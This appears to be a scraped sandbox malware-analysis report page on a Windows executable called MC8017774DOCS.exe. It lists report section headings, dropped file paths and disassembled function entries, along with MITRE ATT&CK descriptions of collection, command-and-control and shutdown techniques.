Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MC8017774DOCS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Sipunculoidea.ude

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Torturkammerets.Nik

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\moccasins.ved

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\sporostrote.dip

C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
MC8017774DOCS.exe

Function 0040336C Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 410
stringfilecomCOMMON

Function 00404C7B Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 004059A9 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 004065DA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Function 00403D35 Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Function 00403987 Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402EDD Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 004062B9 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00406601 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00403116 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Function 004057CE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00405DBC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 6E9B177B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre